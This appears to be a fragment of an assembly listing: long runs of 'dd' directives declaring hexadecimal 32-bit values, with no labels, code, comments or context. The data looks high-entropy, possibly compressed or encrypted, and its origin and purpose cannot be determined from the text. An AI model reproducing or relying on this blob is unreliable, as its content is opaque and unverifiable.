dd 0DD80B80Fh, 0D6B31237h, 2CD72675h, 164D1219h, 0F6AF61E1h
dd 7D0E2053h, 0BB5F1140h, 0B472474h, 4BB148CDh, 0F0606690h
dd 0AB8F0C1h, 0CDB37E9Bh, 306108C3h, 6FE60F1Dh, 8FD9BF40h
dd 296E0915h, 0C2D0E19Dh, 0F8E57B94h, 0B08FF6EAh, 0FC2969F9h
dd 60750553h, 0CC175784h, 9F01DA2Ah, 0DD82E791h, 83A3831h
dd 0F324222Ch, 0D520050Bh, 72E078EDh, 3162D283h, 0B54E3626h
dd 8BBF002Eh, 3E212F69h, 0FC01BE37h, 6F4DE913h, 9580442Eh
dd 85105275h, 83B3026Fh, 0D891BD89h, 4BF2FAC5h, 0A01F2761h
dd 7FA6BF5Eh, 0D5729905h, 31A6C36Eh, 0F70CFFE0h, 9B83B102h
dd 828AAA5Bh, 31C5A5h, 0FFF6C9E9h, 41BDECE3h, 0C18F2064h
dd 1A887B8Eh, 0CA93B9C0h, 0C69013C5h, 0B277F636h, 0B6CF3016h
dd 0A35215Eh, 35D2E4EBh, 598B1A00h, 58A516DDh, 78C23953h
dd 0E56EDF00h, 505FFCC8h, 0D52F66B6h, 14011737h, 60B97194h
dd 8A197B20h, 59944C66h, 10F68700h, 1D5A7Eh, 3C70C6Fh
dd 5094D5E0h, 0FC61D700h, 0B1FFDB81h, 82277893h, 3C65F618h
dd 35EC0600h, 534A5FAh, 9B22D380h, 96158063h, 58C2F3h
dd 7346F4B6h, 0B5852950h, 5E50F092h, 0E3B3EA7h, 6BBADF07h
dd 0CA23260Bh, 0C405B10Bh, 8B501543h, 9B4EB7F9h, 0E52881C3h
dd 872F1502h, 0E4644B73h, 1A5510C4h, 0F1E5560Fh, 0EC2AA85Fh
dd 0C9028C19h, 727453CAh, 138D5EA2h, 0BBB123A9h, 7861FDF9h
dd 3CDD625h, 5B7FF62Ch, 29FE31D3h, 38AD6DBDh, 96082DE9h
dd 0E4822E0h, 269D9511h, 0E02B52E2h, 4EB3EF6Ch, 4863535h
dd 0E2151E2h, 599DE361h, 33F6BD31h, 0BDCA5BF0h, 0CD2DD05h
dd 0E2EE4EF8h, 0B5230B68h, 0B433780Dh, 0E9C86CF5h, 1BCC214Fh
dd 0FA35D7B2h, 7EC3A89Ah, 2BD0D546h, 0E4DFCBC4h, 0BD5EE825h
dd 70C2FC6h, 6D69B2DFh, 5E80EF3Eh, 59A6C17Ah, 0E0DB620Ch
dd 4171707Dh, 5394132h, 57E90104h, 5C4D3DA5h, 2C7A4BC0h
dd 5EB40097h, 25F2E02Ah, 892ABD23h, 0B5179E06h, 1B962E61h
dd 6536B6E8h, 0D8E4EEF9h, 0CD951509h, 229C1626h, 5159897Ah
dd 495C51D4h, 0DDA97A0Bh, 1914C0ACh, 10871413h, 355B23E1h
dd 0F25A8213h, 0A142057Eh, 85010017h, 0B19F321Dh, 8B113A0Bh
dd 0D8532CF0h, 821F395Eh, 659CD844h, 0E34700DCh, 0F5896E7Bh
dd 755CDF2Fh, 9A37139Ah, 2504D908h, 0A6A75790h, 73D95701h
dd 0D90D2B9h, 1F763F73h, 717F168h, 204C5F0Eh, 5CB3DF81h
dd 0B056871Ch, 7E23317h, 470E613h, 42BED89h, 818E71E4h
dd 0E9C01D88h, 26D30AFh, 874EE59Ch, 54782EDCh, 0DC409Eh
dd 562E4639h, 0BD8D291Fh, 1B7A29Ah, 5EEDC401h, 0BCC0343Bh
dd 3E9E7325h, 63781A2Bh, 3A7914F3h, 9C012CE9h, 0CA94F719h
dd 0F31920B0h, 0F52F4A9Eh, 7B80C3B5h, 39EA62Ch, 0D82B2F69h
dd 283D5D40h, 0FF600F83h, 59490961h, 6F1C2A19h, 1523693Ah
dd 0D7E5F80Bh, 0BF06F9E4h, 30BCB5AFh, 17F95B78h, 0B265A615h
dd 0F08E3114h, 281677EEh, 3DDD6396h, 836A2Bh, 0F5840EC9h
dd 4885E1BCh, 1510D0DCh, 37B02F04h, 13D99DB9h, 2F508CEh
dd 0BA30FBA6h, 48063B7Bh, 874FEF4Ah, 6E64B93Dh, 8BF8BF24h
dd 0A958631h, 47E8F404h, 1FC97A8Ah, 0D2DD15BFh, 0AD4E3427h
dd 14B872h, 0BFD41F8Eh, 0A4339C7h, 369DAA0h, 81768082h
dd 2435E4F7h, 0A57B3E08h, 9C005CDh, 10017485h, 552119B5h
dd 0C1271A72h, 601CE263h, 8BDA9C40h, 8DD2C95h, 9B7AA8F6h
dd 0C8291FCFh, 581F0201h, 5385B5CFh, 130F5FF4h, 0DE019788h
dd 0ED6D8030h, 131648A8h, 12E22E1Ah, 0B9D9D1D7h, 0ECEF2907h
dd 3E672E14h, 0C88B0B72h, 11E1C583h, 0C183E915h, 61B82Ch
dd 49BF7295h, 81400EF9h, 121AC74Ch, 0B5A93A5Bh, 0E04BA6D2h
dd 531ED8Ch, 743E4A28h, 5B40E3Fh, 46815A10h, 2F20678Eh
dd 0D2831693h, 0DBFC8419h, 0F442C00Bh, 0B9F2272h, 9B9378A9h
dd 9269036Ch, 0B5ABB82Fh, 0CE06EBADh, 1B40B298h, 0E8C3272Bh
dd 3215A3C8h, 806FF23Dh, 94847FBBh, 48233A21h, 4B5F2631h
dd 0BE645FA6h, 38449C00h, 20FFE08Dh, 114E1687h, 499698B6h
dd 80FABD95h, 0D2A678E6h, 8E25DC67h, 0B6B1C437h, 0B903DC64h
dd 8B0123CAh, 31C090FEh, 5F29789Dh, 0AC33BA03h, 0EAFDE289h
dd 0AF857999h, 80661F5Dh, 0A90CF97Ah, 0A11315Fh, 0D40205E8h
dd 0B318B6E4h, 1351A440h, 0B8F95F80h, 0E9A095E7h, 7BA2E9D9h
dd 8D27EE90h, 517AA220h, 0EC51FF1Eh, 131816F1h, 89207502h
dd 0D3323185h, 532E64A1h, 1DC885DAh, 6EB632C0h, 513C1E5Eh
dd 0FAFE49BDh, 0A55B6D8Bh, 10A8E12Fh, 23BC6F2Ah, 88270019h
dd 0A11354B7h, 2CE3CE98h, 8B9009D5h, 700873F7h, 150BCE42h
dd 892AFA98h, 7187D327h, 0F8DCD207h, 70412F40h, 0A1FB00F6h
dd 9762BD21h, 8912249Ah, 10C24D8Dh, 0EB5BFD5Eh, 905B58h
dd 0F6B98F1Ch, 28029682h, 80035EBDh, 2015C6C1h, 0FB0044FDh
dd 536CAE8Fh, 1D1E8DB6h, 7929F9EAh, 0F5810B4Eh, 0C6856437h
dd 0E2EB8678h, 0CF8101D0h, 456AEA0Ah, 1105E488h, 73BE5700h
dd 0C4284AAAh, 91ED9DD8h, 32820F8Eh, 12326A3Dh, 33F5BF40h
dd 0BB625FFEh, 0BDA2EE40h, 257DA5h, 0D8094D0Bh, 3CDF60D6h
dd 18484075h, 81897BF6h, 0F0DC6EF8h, 7902B562h, 0B17E23E9h
dd 0DEB92Ch, 4F943AA8h, 8A871C08h, 0BCB96059h, 4A7A01D1h
dd 6AB267E8h, 0B3C4D683h, 61242775h, 7701808Ch, 0C1858B57h
dd 5E381D38h, 0CC8EB9A5h, 0E2C0F454h, 0A05237EDh, 80C4A239h
dd 40D9B2E4h, 0B5E9F88Dh, 869DA790h, 0CC71D100h, 8F289C1Ah
dd 4A840175h, 598D2172h, 587A7E31h, 46AAEB19h, 264165C9h
dd 0BFB7F0E3h, 808B0ED9h, 4B95F1CEh, 83C8C05Fh, 5E9801E1h
dd 0DBA0544h, 33E709FBh, 637EA42Eh, 1C467Ch, 0DB6A3ADEh
dd 6323F68h, 85294A64h, 3E8983CDh, 0B5891007h, 50F96D9h
dd 0F86061F8h, 0DB81C087h, 53A3ABC5h, 0DB4EDB18h, 72598282h
dd 28E3F895h, 27B549E7h, 4BEF293Dh, 32175140h, 0D058060Ch
dd 54C2BF5Ah, 0F535E895h, 0A9C051B7h, 0AD7F66A1h, 0B23773CAh
dd 0CD204580h, 12DEC2F1h, 41EA03Eh, 1B28C571h, 7A845B72h
dd 36ED01FBh, 70937F60h
dd 0BC58261h, 8A15604Ch, 25012A46h, 39735949h, 0C960A521h
dd 9B4C026Ah, 0EE580AD2h, 7173ED89h, 71A1F70h, 52A2AE6Dh
dd 8B9C803Dh, 1A92499Dh, 0B5B70BAEh, 0C41817AFh, 0E0D15099h
dd 7B12F116h, 9E1401E3h, 29176EA1h, 5507AC8h, 11BD89DDh
dd 3BE4FD2Fh, 0F537D18Dh, 2F7A6A05h, 0DB23047Ah, 827F5403h
dd 0F24BD3EFh, 0B26445ADh, 1ADD32EFh, 200EE822h, 63264988h
dd 0DE589A00h, 0BA1337B4h, 4C79BBh, 0EDFFC081h, 8B5B11D6h
dd 0B86658A8h, 815A9B00h, 3E5DBECBh, 4A33A92Bh, 7FED3B6Dh
dd 0E2A529ECh, 8050068h, 0D6A89B52h, 7BE73BF0h, 0B21FFC8Eh
dd 0D159C722h, 0C44221F4h, 7607CEE2h, 3C17BC5Ah, 6452FE16h
dd 3E310006h, 0C0CA44C6h, 0FE642600h, 0B217D114h, 92D60A3Ah
dd 16DD54D0h, 6FBD52ADh, 0C00A0D47h, 3F6A4866h, 1D2330h
dd 931CD428h, 583BFB5Fh, 2E62459h, 0A46BC110h, 0E0056DF5h
dd 0B5BD8BDFh, 372C3194h, 5661D1Dh, 814009E4h, 0A2B984E3h
dd 0C2802564h, 7B506E10h, 240950D5h, 7C04476Dh, 9965FF8Bh
dd 0D5171794h, 0C29C9ABFh, 0CCB5ACFFh, 0BD091725h, 5DD8B249h
dd 0C56FD2E6h, 0A588C500h, 95900A9Ah, 89771B26h, 5B0D8C60h
dd 79FC0014h, 7EC383Dh, 0A7057A6Ch, 619B1C5Ch, 0E0E3F6FBh
dd 9D9E7E6Ch, 0CEDE302h, 880F5901h, 579F526Ch, 0EB338279h
dd 0E99D8040h, 0F29E3AE1h, 7A55F1C9h, 3D0CA14Ah, 0FD3761A5h
dd 80178F0Eh, 221291F0h, 31DF09BFh, 5D035ED8h, 2D5075E9h
dd 0A8F88CD5h, 3511E19Ch, 0BF016A17h, 75BC91D8h, 23828A73h
dd 8B00093Dh, 32EFC1FEh, 43C680Ch, 28F66F4h, 0E00D4B57h
dd 0A095FFD5h, 0BD32E91Ah, 0DF58FDFEh, 0A9C52030h, 3F28C929h
dd 852C91C2h, 0AF0710Eh, 7C6A6350h, 6E405605h, 0C3146112h
dd 0D6E0C1h, 0E09104Bh, 78C53C2Fh, 0ACDA011Ah, 0D2D41CA4h
dd 0C0E4C55Ch, 311D34CEh, 27431BF5h, 0C8D129B3h, 1FC7DD5Bh
dd 3F17E62Ah, 670EDF3Dh, 114A6DBh, 410028F8h, 7DD427E6h
dd 25E9C372h, 1ED30DEDh, 2C4E0D0h, 891BFC6Eh, 0DCAB018Dh
dd 44D04EDDh, 0C7A22322h, 4B8BC25h, 8004C24Bh, 4585290Bh
dd 132AD4BFh, 351F6189h, 0C08B111Ah, 1D696E2Eh, 6F4036FFh
dd 259D0BBBh, 33F6BD2Fh, 22134356h, 9D8D0BD0h, 6DDFAE65h
dd 8C53A2Dh, 0AD46B21Ah, 0FEA8101h, 680EC2B0h, 5EB49733h
dd 0DA6E6FAh, 7B07D1A4h, 69C02082h, 43411A41h, 0B7FB1C0Eh
dd 144195E1h, 0AC091892h, 0F908282h, 97366480h, 4D0F9144h
dd 0E0D888B2h, 0C9B8DE74h, 57F047h, 6035627Bh, 8B505F61h
dd 0EE90CA26h, 682F1B24h, 4034EA56h, 1B69CB4Ah, 0DC06DC7Eh
dd 0C95FB105h, 7C03E8ECh, 0C80A6EEAh, 657FEF9h, 60457C61h
dd 0BC00E6BFh, 66905B26h, 27D99AB9h, 0B5515650h, 2FEBF601h
dd 24812475h, 0C2076BBBh, 3C9245Dh, 34C18080h, 9B8D8BB3h
dd 2587C098h, 4F9DA0Dh, 119D09ACh, 2A521426h, 8A3287F6h
dd 5C0867DEh, 33EDC06h, 1291BB77h, 38F0C2B8h, 0A34A128h
dd 34B8FA55h, 0CDB77780h, 0F100932Eh, 604F5CA8h, 48A2D59Eh
dd 61124BE7h, 0D4C73220h, 810BC466h, 2DD3CC6h, 40AC53Bh
dd 4790D861h, 89B96003h, 0F00D08ECh, 2F86D768h, 20D78B3Eh
dd 189905ECh, 511D00FCh, 74DF284Ch, 7A00AC6Eh, 6967E5E7h
dd 0FEAE33FFh, 59CE388Ah, 24048180h, 495C20FBh, 8E85604Ah
dd 7952A3FAh, 0CA61FA26h, 3E79C9h, 198EA6DCh, 0AA0057A1h
dd 4B50F8EEh, 26C7037h, 0CBDAC72Dh, 0E36C3106h, 6DB5290Bh
dd 0EA64F523h, 7D4F2BEh, 849313DEh, 0BA007FB5h, 3516E642h
dd 0B58538CAh, 70B4FB4Bh, 2012D9D2h, 0F40B3011h, 0A1CF16Dh
dd 65E12975h, 0B33DF7E4h, 0BF4F8063h, 0BE0E3918h, 0E827F757h
dd 70E25C69h, 109D8AB7h, 182B3D7h, 34CBA0B1h, 2012BE53h
dd 0F709BAC4h, 137EDB1Dh, 4652D2AEh, 0D8570F0Fh, 0FD807864h
dd 5F634140h, 0A6004B77h, 180C7226h, 9D698839h, 5A774AC6h
dd 0FEBF3103h, 0C10104BEh, 0C13A8B58h, 72173F7Dh, 6C603444h
dd 0FE305486h, 8ED637BAh, 5B53D22Eh, 2A07A0E2h, 8A801F61h
dd 0CD9D23DCh, 30AC7792h, 811948D5h, 1145BD23h, 0CB5E8B08h
dd 57294582h, 9C30873Dh, 0B9F9BD89h, 21F12015h, 27BE2E19h
dd 0D1947301h, 132DC011h, 2EB1A80Bh, 7FA510E8h, 0F2640A5Ah
dd 596E3E1h, 0DD5F8270h, 0E43D4587h, 28EF0F9Eh, 9AA9CA3Fh
dd 398212A9h, 0C6D41F6Dh, 58B10F2Dh, 0D2A0A23Fh, 2D7F5A10h
dd 4B62802h, 0E0BA1B23h, 0B02EA31Dh, 36B22430h, 0FB8A4E1Ah
dd 0F99027F1h, 5802FEC0h, 0A4DF1882h, 594BC052h, 4FEA45Fh
dd 834DADBAh, 0BD0E8169h, 239825E5h, 9BC6C019h, 3FC2FBCh
dd 0B8C4FA4Ah, 0D89088FFh, 3F28127Ch, 2F49AE3Ch, 30309300h
dd 252C2BE2h, 3EF15FF6h, 0F9BB9D00h, 2EC5763h, 8F43DDB4h
dd 2E62A066h, 58DC74F4h, 9C126FDAh, 19330421h, 0D1F50A2Eh
dd 49046CC4h, 0E781001Eh, 0FEDAD5h, 985D6814h, 0C4B2CC3Ch
dd 2609B19Ah, 810EC8D8h, 32D7E2F5h, 0CAF894Ch, 0B16C3446h
dd 29004CAEh, 1E0E834Eh, 99E50A5h, 2644D205h, 0B7B5CA46h
dd 67C40A30h, 0EE0D17D1h, 62D16DDh, 1A84CCB9h, 42F9B5A1h
dd 0BECAFA96h, 2271EDC1h, 770429CFh, 0E55925h, 0FC3F688h
dd 0A60008A9h, 997EC1E2h, 9549B763h, 1FA1E1h, 245F9D68h
dd 1497EF08h, 6381AB2Ah, 2310F7B0h, 0D9026A84h, 1F442Fh
dd 0DD11F76Ch, 5020A7DEh, 28808FAh, 97BB02C3h, 7CB0363Dh
dd 37A68144h, 69E50907h, 2EEEF4Dh, 46FC8A56h, 0A00F757Ch
dd 7BF5133h, 58966FA7h, 6BB72B5Fh, 0A7B85C80h, 98CE4F2Ah
dd 61B049B1h, 0FDEC885Bh, 93B16700h, 0B675D182h, 8102060Fh
dd 0E5A85E9h, 1BB574E7h, 1915CBEh, 0F4D0F528h, 0BD29801Ch
dd 0BC21C922h, 0D425126Bh, 1ECB82EAh, 54016800h, 0F120B07h
dd 59981184h, 0D64E0CBFh, 0BDB188h, 7E64A6E2h, 34816146h
dd 63C2462h, 0DC02F412h, 1E945795h, 0C8C6800Bh, 51520E90h
dd 0BF023D4Ch, 48775B31h, 5BB40C8h, 90FC5141h, 49951201h
dd 0C3D5472Ah, 5275206Eh, 41B50B6Ah, 9051F47h, 612BD388h
dd 5062DDF0h, 7C97E9EAh, 14E0280Ah, 0B4A6EDC2h, 3933358h
dd 0DDB58D48h, 0F5B53D40h, 50888497h, 487E8Ch, 1C84C737h
dd 446B7323h, 91205909h, 0AE0880E2h, 288F38A6h, 0E79F8905h
dd 5053883Fh, 0EB4493BEh, 7ED52CAAh, 81A51060h, 25F746C9h
dd 445F2BA9h, 0F08A7A87h, 784E93D0h, 4E3E9D30h, 0C359A4EFh
dd 8B21ED02h, 972944B5h, 0CBC3D5EDh, 802DAB54h, 421FA29h
dd 0FE85C720h, 0C729FC1Bh, 0F8D97E80h, 38725BAh, 9740C3CFh
dd 256C2893h, 5FCD60FCh, 0A99F99C3h, 89C94BBBh, 20F18DCDh
dd 0F3B87169h, 0ECA5A200h, 4FE57FE2h, 203CB053h, 2552946h
dd 0E79B2AADh, 9480308Fh, 2364116Ch, 31B7BB17h, 13351E04h
dd 601963AFh, 0E682D1E2h, 0EF721F09h, 99D9BD24h, 196F4092h
dd 65A5B500h, 5354F50Ch, 8059FC0Bh, 0D2ACA538h, 6E7B2CF1h
dd 0B6D7128Ch, 0D1408789h, 9048EE96h, 8EF719CFh, 205C6AF3h
dd 0D2947418h, 917467Ch, 806BE5E3h, 5AADD328h, 0D2A2A31Bh
dd 2F660C02h, 0BB104181h, 0EA147820h, 0C3E13B67h, 5CAD830Fh
dd 15BC56F3h, 9809278Ch, 5660C560h, 7949469Fh, 0D9C9B85Eh
dd 7D400204h, 5ECB8AEh, 1747AEF8h, 2C14F8D8h, 5C67A355h
dd 0C3412060h, 839913C0h
dd 0A7F97BDh, 0D401C7B3h, 5074BD2Dh, 0BE3BC167h, 0C16E5E50h
dd 74C8ED00h, 0E7D5C551h, 975B8619h, 82D6EE56h, 13055C5h
dd 285DBD23h, 0CE9C78E4h, 7893D27h, 0A17A3C19h, 0C6FA8Bh
dd 905882B3h, 54D11630h, 843A12E9h, 0A038C47Ah, 6169F38Bh
dd 6DC2095Ah, 75D0C06Ah, 1097346Fh, 1E7859Dh, 92BCB0F6h
dd 0E01A59AEh, 33043945h, 0B5FFAB20h, 945177F4h, 0D29E4089h
dd 8B0EEE0Fh, 629A46EDh, 0EAE77D1Fh, 7FD2CA0Fh, 8E850B37h
dd 180F5B2h, 480B999Bh, 982D47C0h, 52D9947Bh, 0A8953A70h
dd 12BB61E6h, 0FE1BA58h, 8D89896Dh, 29ED3ADAh, 15612CB9h
dd 0FAB901C5h, 1902D2ECh, 4FBFFD9Dh, 4C7B460Dh, 50078A93h
dd 0C5A035F2h, 527BBA49h, 7B5B2A00h, 0B19D89A6h, 0E9C72D6Eh
dd 816310B5h, 0FE1C5FC6h, 0CBCC3E20h, 0FC7C26E9h, 0EC53121Eh
dd 0D222D87Bh, 5F982580h, 6CE811Bh, 1172B906h, 80AA1C33h
dd 2EF8B1Ah, 0FE47FDBh, 22B038Dh, 525AD176h, 60BB0E81h
dd 2EDF2082h, 10B289B0h, 2C99750Fh, 4488B8D6h, 7E5A5461h
dd 0BEE277B3h, 0A4D340D5h, 84F2E8ACh, 32304E04h, 2F8681Fh
dd 72C29D2Fh, 7E83E982h, 28CA6842h, 0DEAF56h, 0B92B255Dh
dd 8D8B0DDAh, 828208EAh, 572E197Ch, 56C59A54h, 44AEB3C5h
dd 898B5FD8h, 7DB6B2Ah, 9BB402C0h, 0E67DCBFAh, 49BD3108h
dd 4190130Fh, 67B8661Bh, 0C1203B04h, 1DD59F3Eh, 40FF2529h
dd 80F755ACh, 614A5BE2h, 37D1685Ch, 0AB07254Ah, 17B7F02Ch
dd 99905FDAh, 172DDC4Bh, 5A0F5080h, 8A9DD187h, 3F5935D9h
dd 9C000B6Eh, 7EE1A755h, 4F17B7B9h, 499D6F15h, 0ECB10826h
dd 0A0B4B853h, 505B2F31h, 1869CB10h, 0F7E7EC00h, 557B222h
dd 0C7EE6941h, 0C5708373h, 766023Ch, 7CE55A36h, 0C281F060h
dd 7505C9FEh, 85315F57h, 2651CCE9h, 8B9B3BF7h, 0BE1E4A77h
dd 59C075DEh, 0FD1F6DC5h, 8B0F390Dh, 193C1F12h, 1E559D80h
dd 0D448BA62h, 81093259h, 0D19CFB5Ah, 0CBC81ACCh, 0A96602E9h
dd 0F4B35E17h, 95AAEC02h, 660DEF6Dh, 7C7E1Bh, 0EDFAADDFh
dd 9D4BC67Fh, 0E4082700h, 2BDB339Ah, 35929BDh, 9D0104BCh
dd 2F7CB8A5h, 0C05BED58h, 6329EBE8h, 0C02D071Dh, 8C20C04h
dd 16396FEEh, 5E497A22h, 110F3513h, 115F801Dh, 36F675h
dd 350AE1FBh, 81858928h, 5B4B234Eh, 74788B41h, 6001DE50h
dd 755817C7h, 5C89B967h, 75541309h, 0DBE0E7C7h, 2F6977h
dd 973316C3h, 786617E5h, 55EC2600h, 3929D881h, 1E59F049h
dd 856ADC80h, 906EB4C1h, 0C9EEB833h, 1F72BF07h, 0EFF16BF9h
dd 0CBF03F5h, 2EF201F7h, 0F31FF11h, 16EA628Ch, 47C85BF8h
dd 0B39A0E64h, 0F74B34A9h, 0F35D7A98h, 99BF334Ah, 8158E45Bh
dd 0FC4CEB00h, 0BF0F14BDh, 7412C1D1h, 0F3571FE9h, 0D0C50E00h
dd 78B06E30h, 18F0553h, 91AD8533h, 0E6E983CCh, 0B800E471h
dd 0E3D1C8A0h, 0DD7E001Dh, 0C5293515h, 8016C3Dh, 110C4133h
dd 2824984h, 0EF83F38Bh, 8D12C65Eh, 0AD3004C4h, 0C1B826h
dd 2808CBF4h, 0CC32D78Bh, 56008D72h, 0B8E46AFDh, 25FEE3h
dd 20E5580Ch, 0BA6D2D0Fh, 85DA0E00h, 0E09D69D6h, 0FE6B063Fh
dd 8533789h, 0F921D160h, 1AB9D61h, 0DF68A4Fh, 0F8407149h
dd 0DD00AC74h, 9A99BC88h, 602843B6h, 97911004h, 1100C6BEh
dd 182B85E0h, 0D4425Dh, 0B68BDD1Fh, 9D5F382h, 3D189A71h
dd 3F6812EFh, 9C4F0094h, 226714B9h, 0DF00BF48h, 35E2B58Bh
dd 30CC39DDh, 0DA2096F7h, 5E29CDF9h, 37E2202Dh, 0F82333BCh
dd 9D6C0130h, 18833FE3h, 64FC88CBh, 968D9D01h, 0B9A67798h
dd 0B6EFD081h, 0D388C25Fh, 0FA52807h, 36733D2h, 0FB06DE30h
dd 0C09AE832h, 0D207C621h, 0C50CC973h, 1885F093h, 218F60C2h
dd 77355245h, 2E449900h, 1DDB3AAEh, 0E4854467h, 78CF413Fh
dd 0DDF70619h, 79D4FA19h, 0C9630667h, 95B12DAh, 1A21F460h
dd 1D079D5h, 136E3D26h, 0D99E92ACh, 0DA7800E3h, 9C57F1DBh
dd 48382E80h, 4E980315h, 1E8FBAA9h, 212B0830h, 483054h
dd 2EC6E8D5h, 29D3B136h, 63471902h, 882BA80Ah, 0C63AB0ECh
dd 0DE9D6702h, 0CE315B3Fh, 9D5FF710h, 3E6D5A00h, 0C81CF330h
dd 9F3B0A33h, 1154E2E9h, 483380D6h, 8C269810h, 74F2A44h
dd 5D8C482Bh, 0A6286091h, 4C055A3Dh, 0CA6E5F98h, 3063E022h
dd 3776D213h, 0A1222346h, 0D20BCA00h, 4A895D4h, 14E70335h
dd 73906E97h, 780209DFh, 0BCA0E6F6h, 0C865AD16h, 82053000h
dd 71D36BE3h, 5C5B007Fh, 0A8EE95CAh, 4335F70Fh, 0C1EA308Dh
dd 0A1FBBC73h, 26D1CC48h, 0C8001218h, 3D4B584h, 0D9BEC1C3h
dd 195EE8B8h, 0FC32D2ECh, 9B0CE7FBh, 0D2E4C589h, 50510CD8h
dd 8DD1EBF8h, 0E1A22000h, 36C2994h, 0F617003Ah, 0B2EEDCAh
dd 0D80424ACh, 870FCC41h, 1033BC83h, 7C0370D0h, 0C10C98EAh
dd 9975C238h, 66D0294h, 327C0A64h, 2A461C44h, 489D661Fh
dd 0D2C4533Fh, 9D5EF640h, 3939CFADh, 27630097h, 9C4213B3h
dd 88A16377h, 71063DC2h, 50606FEBh, 0FD6C2098h, 7C657400h
dd 5E7DE638h, 0C2261419h, 0E3DF9C25h, 39D21507h, 641833E7h
dd 0DCC409Dh, 12C2D2h, 656ED47h, 0FE65D995h, 103C1948h
dd 194CD8A6h, 6DB9223Ch, 9BC816B4h, 0C240C0C4h, 6F31519h
dd 6EFBAAFFh, 0A40221BDh, 0F42E2454h, 90CC40F6h, 34858430h
dd 9760CA44h, 34921C9Fh, 8B1FC000h, 45910B51h, 17120009h
dd 0C28767CFh, 3891BD89h, 0FD189AF1h, 0E0384F00h, 1E3EA8A5h
dd 0C66E302Ch, 0C702B89h, 49CA6B1Dh, 0DE8ACE41h, 0CBE8D2E0h
dd 0F8E44C32h, 4CA7D310h, 166040E4h, 60E0F824h, 394CFF87h
dd 2A9D9E7h, 89AF54h, 155E6D3Bh, 0E84030D4h, 0D10F8CCDh
dd 42F22E98h, 40EE4C44h, 0F45F972Ch, 41F8A8E7h, 0F9C33E02h
dd 61239052h, 35D21107h, 3CCE13E4h, 0D209C800h, 921C677Ch
dd 471F42ECh, 5485AA7Dh, 3804ED44h, 6CC8E8D2h, 147E8C64h
dd 2B483876h, 0CCBE05Ch, 364503D2h, 6DD61766h, 0A4C81492h
dd 0A64183ACh, 28CC2441h, 97980800h, 70B79230h, 0E9159EE3h
dd 8C71D432h, 14483704h, 23624698h, 482F5320h, 0EA0E0A3Eh
dd 40DCC405h, 3A18D190h, 3F22BA00h, 0CDC10A3Eh, 2CA49017h
dd 7CC0C752h, 7C2E9B46h, 87F60681h, 0A898188Ah, 0E4010D46h
dd 1636E79h, 88F30CDBh, 7900DC21h, 40AD4C04h, 93E50E4h
dd 0B3374180h, 9F0B4402h, 30DA580Dh, 6C0879E2h, 64DAF163h
dd 621F4FF2h, 0E82A0179h, 0EAE53AB0h, 0BE67189Ah, 17E6F0B6h
dd 0B92BF730h, 50F34440h, 412CCCA6h, 0A26C6322h, 5CE930D2h
dd 0E7AE9500h, 1ECD127Eh, 0D022549Fh, 47F9005Ah, 9499CC83h
dd 7201132Bh, 0AA8E5E38h, 0C5F096A0h, 9C410CF1h, 39F890FFh
dd 0E675EB01h, 1F9EE5E1h, 412F4980h, 0A0FA962Ah, 3E5CB400h
dd 0E4385860h, 0ECF62E95h, 0D9DFC074h, 8848D3ABh, 138E84D0h
dd 4B10DC14h, 0DCF867A3h, 189E0C48h, 0F900E169h, 0DB07BD48h
dd 0C8C7A8Ah, 3B241A63h, 0BF581528h, 1B38183Ch, 0F9681D31h
dd 3A1479BEh, 900F0C0Fh, 2C0A215Dh, 9D68C0A8h, 63463FDFh
dd 0F800D022h, 1A19D60h, 3B61E12h, 1A036F97h, 807731F0h
dd 13774458h, 4C27C911h, 3309899Eh, 6A79E814h, 22E14663h
dd 0D81D07F3h, 806B7D79h, 10915463h, 1C94742Eh, 0D59D9981h
dd 18101C9Fh, 0D40062D0h, 5DA94796h, 2201065h, 463361C3h
dd 4097139Fh, 0B980F211h
dd 41239BAFh, 0A765A3Ch, 9867D175h, 939D3111h, 8BD00A9Dh
dd 40D3C498h, 0C89D65FDh, 561D0027h, 4BD610CDh, 0A28F6EFh
dd 5899C006h, 2518CF79h, 4A8FAC00h, 635F4F44h, 4C30FDA1h
dd 32048CD5h, 1E980F48h, 4E202562h, 38B4482Ah, 28DC1B6Ch
dd 5A9AF10h, 205C1AD9h, 0CF8858CFh, 0A8EDAAC0h, 1AB30A1Eh
dd 89ACDFF8h, 29837B0Fh, 5823E0DDh, 9D6B012Fh, 237B3FE2h
dd 63FB803Ch, 4804D9Dh, 0DEFE846h, 8C7C813Ch, 0A4430013h
dd 0C0946983h, 99C7837h, 4D8B8702h, 0D68C047h, 149F4C64h
dd 977EC7h, 0DE481A67h, 800D1038h, 9552F3B2h, 29B016Bh
dd 98B3153Ch, 7097891Ch, 4083CB11h, 28A97F8h, 0A20FA4E8h
dd 0C66F9C0Ch, 164410D0h, 9794F23h, 9465295Ch, 0BC60F0E4h
dd 0C524E8B9h, 6340D095h, 0A0123C42h, 18513FA4h, 99C36DDEh
dd 711E4419h, 8600478Ch, 0E0ED113Eh, 9C400933h, 88A0B2B7h
dd 0DCCC4C12h, 4676EC94h, 93A3923h, 97209F63h, 80D19148h
dd 0C711B918h, 0A4F00073h, 0D837EB49h, 1D060B52h, 40804CC8h
dd 0D1DCB1D8h, 0BB6019A2h, 921801A3h, 0ECD064CFh, 0D5CDF4F7h
dd 0FE10F8C4h, 62850512h, 0ED405D9h, 0DC8408D1h, 164839C0h
dd 84564398h, 0D8803155h, 48104092h, 0D1FC24A7h, 0AC8E008Ch
dd 2DC90361h, 0A8C5AE17h, 0D022F62Ch, 483530D8h, 364E98EEh
dd 51882Ch, 0E496482Dh, 5B8EF4C3h, 87703B02h, 0A08CC266h
dd 91A55994h, 0CF0301B8h, 0EC22DBF9h, 6028213Dh, 0C8A0F48Ch
dd 45450D5h, 0F7E23AC4h, 85EA20h, 24D1B35Fh, 16B883F5h
dd 61506800h, 4D093A9h, 2050909Ch, 15481A1Ch, 90662488h
dd 465E34AEh, 84DB019Ch, 6EA0D12h, 9E18A429h, 31E9F11Bh
dd 751FB979h, 0C79CD43Ah, 7080140h, 0E2C5E539h, 54100AD5h
dd 12A80ABCh, 165C016Fh, 25E6BAC3h, 0A2DC63A0h, 0B56D309Eh
dd 0E7CB7700h, 0EBCC4210h, 5F09EB3h, 34081Ah, 3EE7580h
dd 9729F07Ch, 9F7134F4h, 0C33EB918h, 35481EDh, 4D911E53h
dd 3D94CC50h, 9984A815h, 0D25A288Fh, 6820A0B4h, 973980F3h
dd 74D4DE24h, 0C144484h, 71F48092h, 189F7928h, 463400E8h
dd 9DA39A21h, 0A7A38F98h, 6D946000h, 523E410Ah, 0C7631235h
